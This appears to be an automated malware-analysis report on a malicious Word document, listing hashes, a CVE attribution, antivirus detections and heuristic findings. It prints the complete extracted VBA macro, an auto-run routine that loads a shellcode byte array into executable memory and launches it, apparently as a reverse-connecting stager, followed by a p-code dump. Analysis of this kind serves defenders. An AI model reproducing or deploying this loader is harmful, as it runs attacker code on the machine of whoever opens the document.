Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa8e03d9b971e48d…

MALICIOUS

Office (OLE)

55.0 KB Created: 2018-07-11 14:33:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: a916daf7561d154d9717d4bf07da0a85 SHA-1: e631686847edd2ad9c19cfccdc7e899bf6ead5ae SHA-256: aa8e03d9b971e48df8f6ee7ad8ed0222c2a8c5a8728bbd082b2f5b08ed976908
326 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability to achieve code execution. The embedded VBA macro uses WinAPI calls such as VirtualAlloc and CreateThread, indicating it is designed to allocate memory and execute shellcode. This shellcode likely downloads and executes a second-stage payload, as suggested by the references to PowerShell and WScript.

Heuristics 12

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Xzjsgnlu As Long, Dhwnrfvm As Variant, Qsemm As Long
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12438 bytes
SHA-256: 4e4bd1a93b35c5e7427e47a900be6d326473139d933e7b78f3ff5702f617925d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Mcu As Long, ByVal Tujuuko As Long, ByVal Gzlys As LongPtr, Lhhrfj As Long, ByVal Xejzbr As Long, Ewkwle As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Sgologl As Long, ByVal Ndza As Long, ByVal Octi As Long, ByVal Acoo As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Piyeuhkc As LongPtr, ByRef Izcmoni As Any, ByVal Klnw As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Mcu As Long, ByVal Tujuuko As Long, ByVal Gzlys As Long, Lhhrfj As Long, ByVal Xejzbr As Long, Ewkwle As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Sgologl As Long, ByVal Ndza As Long, ByVal Octi As Long, ByVal Acoo As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Piyeuhkc As Long, ByRef Izcmoni As Any, ByVal Klnw As Long) As Long
#End If

Sub Auto_Open()
    Dim Xzjsgnlu As Long, Dhwnrfvm As Variant, Qsemm As Long
#If VBA7 Then
    Dim Tzrphk As LongPtr, Uosgiwck As LongPtr
#Else
    Dim Tzrphk As Long, Uosgiwck As Long
#End If
    Dhwnrfvm = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 60, 52, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Tzrphk = VirtualAlloc(0, UBound(Dhwnrfvm), &H1000, &H40)
    For Qsemm = LBound(Dhwnrfvm) To UBound(Dhwnrfvm)
        Xzjsgnlu = Dhwnrfvm(Qsemm)
        Uosgiwck = RtlMoveMemory(Tzrphk + Qsemm, Xzjsgnlu, 1)
    Next Qsemm
    Uosgiwck = CreateThread(0, 0, Tzrphk, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




' Processing file: /tmp/qstore_9l8puj2e
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 16054 bytes
' Line #0:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #1:
' 	FuncDefn (Private Declare PtrSafe Function NTH8 Lib "Ewkwle" (ByVal CreateThread As Long, ByVal Mcu As Long, ByVal Tujuuko As LongPtr, Gzlys As Long, ByVal Lhhrfj As Long, Xejzbr As Long) As LongPtr)
' Line #2:
' 	FuncDefn (Private Declare PtrSafe Function kernel32 Lib "Ewkwle" (ByVal VirtualAlloc As Long, ByVal Sgologl As Long, ByVal Ndza As Long, ByVal Octi As Long) As LongPtr)
' Line #3:
' 	FuncDefn (Private Declare PtrSafe Function Acoo Lib "Ewkwle" (ByVal RtlMoveMemory As LongPtr, ByRef Piyeuhkc As , ByVal Izcmoni As Long) As LongPtr)
' Line #4:
' 	LbMark 
' 	LbElse 
' Line #5:
' 	FuncDefn (Private Declare Function NTH8 Lib "Ewkwle" (ByVal CreateThread As Long, ByVal Mcu As Long, ByVal Tujuuko As Long, Gzlys As Long, ByVal Lhhrfj As Long, Xejzbr As Long) As Long)
' Line #6:
' 	FuncDefn (Private Declare Function kernel32 Lib "Ewkwle" (ByVal VirtualAlloc As Long, ByVal Sgologl As Long, ByVal Ndza As Long, ByVal Octi As Long) As Long)
' Line #7:
' 	FuncDefn (Private Declare Function Acoo Lib "Ewkwle" (ByVal RtlMoveMemory As Long, ByRef Piyeuhkc As , ByVal Izcmoni As Long) As Long)
' Line #8:
' 	LbMark 
' 	LbEndIf 
' Line #9:
' Line #10:
' 	FuncDefn (Sub Auto_Open())
' Line #11:
' 	Dim 
' 	VarDefn Klnw (As Long)
' 	VarDefn Xzjsgnlu (As Variant)
' 	VarDefn Dhwnrfvm (As Long)
' Line #12:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #13:
' 	Dim 
' 	VarDefn Qsemm (As LongPtr)
' 	VarDefn Tzrphk (As LongPtr)
' Line #14:
' 	LbMark 
' 	LbElse 
' Line #15:
' 	Dim 
' 	VarDefn Qsemm (As Long)
' 	VarDefn Tzrphk (As Long)
' Line #16:
' 	LbMark 
' 	LbEndIf 
' Line #17:
' 	LineCont 0x0010 A4 00 00 00 44 01 00 00 E4 01 00 00 84 02 00 00
' 	LitDI2 0x00E8 
' 	LitDI2 0x0082 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0060 
' 	LitDI2 0x0089 
' 	LitDI2 0x00E5 
' 	LitDI2 0x0031 
' 	LitDI2 0x00C0 
' 	LitDI2 0x0064 
' 	LitDI2 0x008B 
' 	LitDI2 0x0050 
' 	LitDI2 0x0030 
' 	LitDI2 0x008B 
' 	LitDI2 0x0052 
' 	LitDI2 0x000C 
' 	LitDI2 0x008B 
' 	LitDI2 0x0052 
' 	LitDI2 0x0014 
' 	LitDI2 0x008B 
' 	LitDI2 0x0072 
' 	LitDI2 0x0028 
' 	LitDI2 0x000F 
' 	LitDI2 0x00B7 
' 	LitDI2 0x004A 
' 	LitDI2 0x0026 
' 	LitDI2 0x0031 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00AC 
' 	LitDI2 0x003C 
' 	LitDI2 0x0061 
' 	LitDI2 0x007C 
' 	LitDI2 0x0002 
' 	LitDI2 0x002C 
' 	LitDI2 0x0020 
' 	LitDI2 0x00C1 
' 	LitDI2 0x00CF 
' 	LitDI2 0x000D 
' 	LitDI2 0x0001 
' 	LitDI2 0x00C7 
' 	LitDI2 0x00E2 
' 	LitDI2 0x00F2 
' 	LitDI2 0x0052 
' 	LitDI2 0x0057 
' 	LitDI2 0x008B 
' 	LitDI2 0x0052 
' 	LitDI2 0x0010 
' 	LitDI2 0x008B 
' 	LitDI2 0x004A 
' 	LitDI2 0x003C 
' 	LitDI2 0x008B 
' 	LitDI2 0x004C 
' 	LitDI2 0x0011 
' 	LitDI2 0x0078 
' 	LitDI2 0x00E3 
' 	LitDI2 0x0048 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D1 
' 	LitDI2 0x0051 
' 	LitDI2 0x008B 
' 	LitDI2 0x0059 
' 	LitDI2 0x0020 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D3 
' 	LitDI2 0x008B 
' 	LitDI2 0x0049 
' 	LitDI2 0x0018 
' 	LitDI2 0x00E3 
' 	LitDI2 0x003A 
' 	LitDI2 0x0049 
' 	LitDI2 0x008B 
' 	LitDI2 0x0034 
' 	LitDI2 0x008B 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D6 
' 	LitDI2 0x0031 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00AC 
' 	LitDI2 0x00C1 
' 	LitDI2 0x00CF 
' 	LitDI2 0x000D 
' 	LitDI2 0x0001 
' 	LitDI2 0x00C7 
' 	LitDI2 0x0038 
' 	LitDI2 0x00E0 
' 	LitDI2 0x0075 
' 	LitDI2 0x00F6 
' 	LitDI2 0x0003 
' 	LitDI2 0x007D 
' 	LitDI2 0x00F8 
' 	LitDI2 0x003B 
' 	LitDI2 0x007D 
' 	LitDI2 0x0024 
' 	LitDI2 0x0075 
' 	LitDI2 0x00E4 
' 	LitDI2 0x0058 
' 	LitDI2 0x008B 
' 	LitDI2 0x0058 
' 	LitDI2 0x0024 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D3 
' 	LitDI2 0x0066 
' 	LitDI2 0x008B 
' 	LitDI2 0x000C 
' 	LitDI2 0x004B 
' 	LitDI2 0x008B 
' 	LitDI2 0x0058 
' 	LitDI2 0x001C 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D3 
' 	LitDI2 0x008B 
' 	LitDI2 0x0004 
' 	LitDI2 0x008B 
' 	LitDI2 0x0001 
' 	LitDI2 0x00D0 
' 	LitDI2 0x0089 
' 	LitDI2 0x0044 
' 	LitDI2 0x0024 
' 	LitDI2 0x0024 
' 	LitDI2 0x005B 
' 	LitDI2 0x005B 
' 	LitDI2 0x0061 
' 	LitDI2 0x0059 
' 	LitDI2 0x005A 
' 	LitDI2 0x0051 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00E0 
' 	LitDI2 0x005F 
' 	LitDI2 0x005F 
' 	LitDI2 0x005A 
' 	LitDI2 0x008B 
' 	LitDI2 0x0012 
' 	LitDI2 0x00EB 
' 	LitDI2 0x008D 
' 	LitDI2 0x005D 
' 	LitDI2 0x0068 
' 	LitDI2 0x0033 
' 	LitDI2 0x0032 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0068 
' 	LitDI2 0x0077 
' 	LitDI2 0x0073 
' 	LitDI2 0x0032 
' 	LitDI2 0x005F 
' 	LitDI2 0x0054 
' 	LitDI2 0x0068 
' 	LitDI2 0x004C 
' 	LitDI2 0x0077 
' 	LitDI2 0x0026 
' 	LitDI2 0x0007 
' 	LitDI2 0x0089 
' 	LitDI2 0x00E8 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D0 
' 	LitDI2 0x00B8 
' 	LitDI2 0x0090 
' 	LitDI2 0x0001 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0029 
' 	LitDI2 0x00C4 
' 	LitDI2 0x0054 
' 	LitDI2 0x0050 
' 	LitDI2 0x0068 
' 	LitDI2 0x0029 
' 	LitDI2 0x0080 
' 	LitDI2 0x006B 
' 	LitDI2 0x0000 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x006A 
' 	LitDI2 0x000A 
' 	LitDI2 0x0068 
' 	LitDI2 0x00C0 
' 	LitDI2 0x00A8 
' 	LitDI2 0x003C 
' 	LitDI2 0x0034 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	LitDI2 0x0000 
' 	LitDI2 0x0001 
' 	LitDI2 0x00BB 
' 	LitDI2 0x0089 
' 	LitDI2 0x00E6 
' 	LitDI2 0x0050 
' 	LitDI2 0x0050 
' 	LitDI2 0x0050 
' 	LitDI2 0x0050 
' 	LitDI2 0x0040 
' 	LitDI2 0x0050 
' 	LitDI2 0x0040 
' 	LitDI2 0x0050 
' 	LitDI2 0x0068 
' 	LitDI2 0x00EA 
' 	LitDI2 0x000F 
' 	LitDI2 0x00DF 
' 	LitDI2 0x00E0 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0097 
' 	LitDI2 0x006A 
' 	LitDI2 0x0010 
' 	LitDI2 0x0056 
' 	LitDI2 0x0057 
' 	LitDI2 0x0068 
' 	LitDI2 0x0099 
' 	LitDI2 0x00A5 
' 	LitDI2 0x0074 
' 	LitDI2 0x0061 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0085 
' 	LitDI2 0x00C0 
' 	LitDI2 0x0074 
' 	LitDI2 0x000A 
' 	LitDI2 0x00FF 
' 	LitDI2 0x004E 
' 	LitDI2 0x0008 
' 	LitDI2 0x0075 
' 	LitDI2 0x00EC 
' 	LitDI2 0x00E8 
' 	LitDI2 0x0067 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x006A 
' 	LitDI2 0x0000 
' 	LitDI2 0x006A 
' 	LitDI2 0x0004 
' 	LitDI2 0x0056 
' 	LitDI2 0x0057 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	LitDI2 0x00D9 
' 	LitDI2 0x00C8 
' 	LitDI2 0x005F 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0083 
' 	LitDI2 0x00F8 
' 	LitDI2 0x0000 
' 	LitDI2 0x007E 
' 	LitDI2 0x0036 
' 	LitDI2 0x008B 
' 	LitDI2 0x0036 
' 	LitDI2 0x006A 
' 	LitDI2 0x0040 
' 	LitDI2 0x0068 
' 	LitDI2 0x0000 
' 	LitDI2 0x0010 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0056 
' 	LitDI2 0x006A 
' 	LitDI2 0x0000 
' 	LitDI2 0x0068 
' 	LitDI2 0x0058 
' 	LitDI2 0x00A4 
' 	LitDI2 0x0053 
' 	LitDI2 0x00E5 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0093 
' 	LitDI2 0x0053 
' 	LitDI2 0x006A 
' 	LitDI2 0x0000 
' 	LitDI2 0x0056 
' 	LitDI2 0x0053 
' 	LitDI2 0x0057 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	LitDI2 0x00D9 
' 	LitDI2 0x00C8 
' 	LitDI2 0x005F 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0083 
' 	LitDI2 0x00F8 
' 	LitDI2 0x0000 
' 	LitDI2 0x007D 
' 	LitDI2 0x0028 
' 	LitDI2 0x0058 
' 	LitDI2 0x0068 
' 	LitDI2 0x0000 
' 	LitDI2 0x0040 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x006A 
' 	LitDI2 0x0000 
' 	LitDI2 0x0050 
' 	LitDI2 0x0068 
' 	LitDI2 0x000B 
' 	LitDI2 0x002F 
' 	LitDI2 0x000F 
' 	LitDI2 0x0030 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x0057 
' 	LitDI2 0x0068 
' 	LitDI2 0x0075 
' 	LitDI2 0x006E 
' 	LitDI2 0x004D 
' 	LitDI2 0x0061 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	LitDI2 0x005E 
' 	LitDI2 0x005E 
' 	LitDI2 0x00FF 
' 	LitDI2 0x000C 
' 	LitDI2 0x0024 
' 	LitDI2 0x000F 
' 	LitDI2 0x0085 
' 	LitDI2 0x0070 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00E9 
' 	LitDI2 0x009B 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00FF 
' 	LitDI2 0x0001 
' 	LitDI2 0x00C3 
' 	LitDI2 0x0029 
' 	LitDI2 0x00C6 
' 	LitDI2 0x0075 
' 	LitDI2 0x00C1 
' 	LitDI2 0x00C3 
' 	LitDI2 0x00BB 
' 	LitDI2 0x00F0 
' 	LitDI2 0x00B5 
' 	LitDI2 0x00A2 
' 	LitDI2 0x0056 
' 	LitDI2 0x006A 
' 	LitDI2 0x0000 
' 	LitDI2 0x0053 
' 	LitDI2 0x00FF 
' 	LitDI2 0x00D5 
' 	ArgsArray Array 0x0154 
' 	St Xzjsgnlu 
' Line #18:
' Line #19:
' 	LitDI2 0x0000 
' 	Ld Xzjsgnlu 
' 	FnUBound 0x0000 
' 	LitHI2 0x1000 
' 	LitHI2 0x0040 
' 	ArgsLd kernel32 0x0004 
' 	St Qsemm 
' Line #20:
' 	StartForVariable 
' 	Ld Dhwnrfvm 
' 	EndForVariable 
' 	Ld Xzjsgnlu 
' 	FnLBound 0x0000 
' 	Ld Xzjsgnlu 
' 	FnUBound 0x0000 
' 	For 
' Line #21:
' 	Ld Dhwnrfvm 
' 	ArgsLd Xzjsgnlu 0x0001 
' 	St Klnw 
' Line #22:
' 	Ld Qsemm 
' 	Ld Dhwnrfvm 
' 	Add 
' 	Ld Klnw 
' 	LitDI2 0x0001 
' 	ArgsLd Acoo 0x0003 
' 	St Tzrphk 
' Line #23:
' 	StartForVariable 
' 	Ld Dhwnrfvm 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld Qsemm 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd NTH8 0x0006 
' 	St Tzrphk 
' Line #25:
' 	EndSub 
' Line #26:
' 	FuncDefn (Sub AutoOpen())
' Line #27:
' 	ArgsCall Auto_Open 0x0000 
' Line #28:
' 	EndSub 
' Line #29:
' 	FuncDefn (Sub Workbook_Open())
' Line #30:
' 	ArgsCall Auto_Open 0x0000 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' Line #34:

Open this report in the interactive analyzer, or submit your own file for analysis.